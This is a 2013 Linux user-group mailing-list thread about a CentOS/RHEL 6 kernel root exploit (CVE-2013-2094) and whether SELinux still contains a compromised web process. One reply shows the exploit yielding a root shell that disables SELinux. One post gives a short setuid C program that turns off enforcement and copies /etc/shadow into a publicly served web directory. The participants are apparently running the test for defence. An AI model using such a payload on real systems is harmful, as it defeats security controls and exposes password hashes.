[colug-432] New root exploit code for CentOS

[Joshua Kramer]

I'm trying to test this using the following C code; after I compile, I
chown it root:root and chmod u+s it.  But I still get permission denied
errors and no AVC denials in audit.log.  Do I not understand how suid works
here?

After I get this code working I'll embed it in a wsgi-based website to see
if I can turn off SELinux from within there.

#include <stdio.h>
#include <stdlib.h>

main()
{
system("echo 0 > /selinux/enforce");
system("/sbin/ifconfig >
/srv/website/www/website/static/media/box_info.txt");
system("cp /etc/shadow /srv/website/www/website/static/media/");
}



On Tue, May 14, 2013 at 1:51 PM, Matthew Hyclak <hyclak at gmail.com> wrote:

> No such luck:
>
> [mhyclak at hyclak src]$ getenforce
> Enforcing
> [mhyclak at hyclak src]$ ./gimme
> 2.6.37-3.x x86_64
> sd at fscksheep.org 2010
> -sh-4.1# setenforce 0
> -sh-4.1# getenforce
> Permissive
> -sh-4.1#
>
>
>
> On Tue, May 14, 2013 at 1:37 PM, Joshua Kramer <joskra42.list at gmail.com>wrote:
>
>> "With the right profiles, a major selling point of SELinux (as "we" use
>> it) is that it's *not* game over just because you got root."
>>
>>  In theory it shouldn't be.  Running processes have contexts attached to
>> them; this article I wrote a few years ago explains:
>>
>>
>> http://www.packtpub.com/article/selinux-secured-web-hosting-python-based-web-applications
>>
>> Essentially, each running process has a context attached to it.  Even if
>> the process elevates to root privilege (i.e. running a SUID executable,
>> having exploit code such as we see here, etc.), the OS sees that the
>> process has a certain context and denies permission for stuff it shouldn't
>> have.  In the example I used in the article, a SUID root executable copies
>> /etc/shadow when it is run from a website that has ostensibly been cracked.
>>  When SELinux is disabled, this works.  When SELinux is enabled, the OS
>> says, "Hey HTTPD, I don't care if you say you're root, you can't touch
>> /etc/shadow!"  I never thought to attempt to set /selinux/enforcing to 0
>> and then attempt that... but I'd hope that the OS would say, "Hey HTTPD, I
>> don't care if you say you're root, you can't touch /selinux/enforcing!"
>>
>>
>>
>> On Tue, May 14, 2013 at 1:22 PM, Rick Troth <rmt at casita.net> wrote:
>>
>>> > Not sure what is interesting about the ability to disable SELinux; you
>>> have root, game over.
>>>
>>> With the right profiles, a major selling point of SELinux (as "we" use
>>> it) is that it's *not* game over just because you got root.  (There
>>> are other features of SELinux which are more interesting to the NSA
>>> than they are to you and me.)
>>>
>>> I'm not personally a fan, but I'm not using this as an opportunity to
>>> jab at it ... or maybe I am.
>>>
>>> -- R; <><
>>>
>>>
>>>
>>>
>>> On Tue, May 14, 2013 at 1:00 PM, Neal Dias <roman at ensecure.org> wrote:
>>> > Not sure what is interesting about the ability to disable SELinux; you
>>> have
>>> > root, game over.
>>> >
>>> > RHEL 5 is not affected, RHEL 6 is, updated packages still in-process.
>>> >
>>> > https://access.redhat.com/security/cve/CVE-2013-2094
>>> > https://bugzilla.redhat.com/show_bug.cgi?id=962792
>>> >
>>> > On Tue, May 14, 2013 at 12:33 PM, Joshua Kramer <
>>> joskra42.list at gmail.com>
>>> > wrote:
>>> >>
>>> >> Hello,
>>> >>
>>> >> I recently saw this:
>>> >>
>>> >>
>>> https://www.centos.org/modules/newbb/viewtopic.php?topic_id=42827&forum=59
>>> >>
>>> >> Given a command prompt, download this exploit, compile it, run it...
>>> and
>>> >> you suddenly have root.  What is interesting about this is, as soon
>>> as you
>>> >> have root, you can disable SELinux.
>>> >>
>>> >> Apparently it can be mitigated using this kernel module:
>>> >>
>>> >> http://elrepo.org/tiki/kmod-tpe
>>> >>
>>> >> I spun up a test VM and tested this - it works!  What would be
>>> interesting
>>> >> is doing some investigation to see if SELinux could prevent damage if
>>> this
>>> >> code was run from a malicious web app instead of the command prompt.
>>> >>
>>> >> Also, I wonder if this works on Scientific Linux and other RHEL
>>> >> derivatives, or RHEL itself?
>>> >>
>>> >> Cheers,
>>> >> -JK
>>> >>
>>> >> _______________________________________________
>>> >> colug-432 mailing list
>>> >> colug-432 at colug.net
>>> >> http://lists.colug.net/mailman/listinfo/colug-432
>>> >>
>>> >
>>> >
>>> > _______________________________________________
>>> > colug-432 mailing list
>>> > colug-432 at colug.net
>>> > http://lists.colug.net/mailman/listinfo/colug-432
>>> >
>>>
>>>
>>>
>>> --
>>> -- R;   <><
>>> _______________________________________________
>>> colug-432 mailing list
>>> colug-432 at colug.net
>>> http://lists.colug.net/mailman/listinfo/colug-432
>>>
>>
>>
>> _______________________________________________
>> colug-432 mailing list
>> colug-432 at colug.net
>> http://lists.colug.net/mailman/listinfo/colug-432
>>
>>
>
> _______________________________________________
> colug-432 mailing list
> colug-432 at colug.net
> http://lists.colug.net/mailman/listinfo/colug-432
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.colug.net/pipermail/colug-432/attachments/20130514/8720e8d1/attachment-0001.html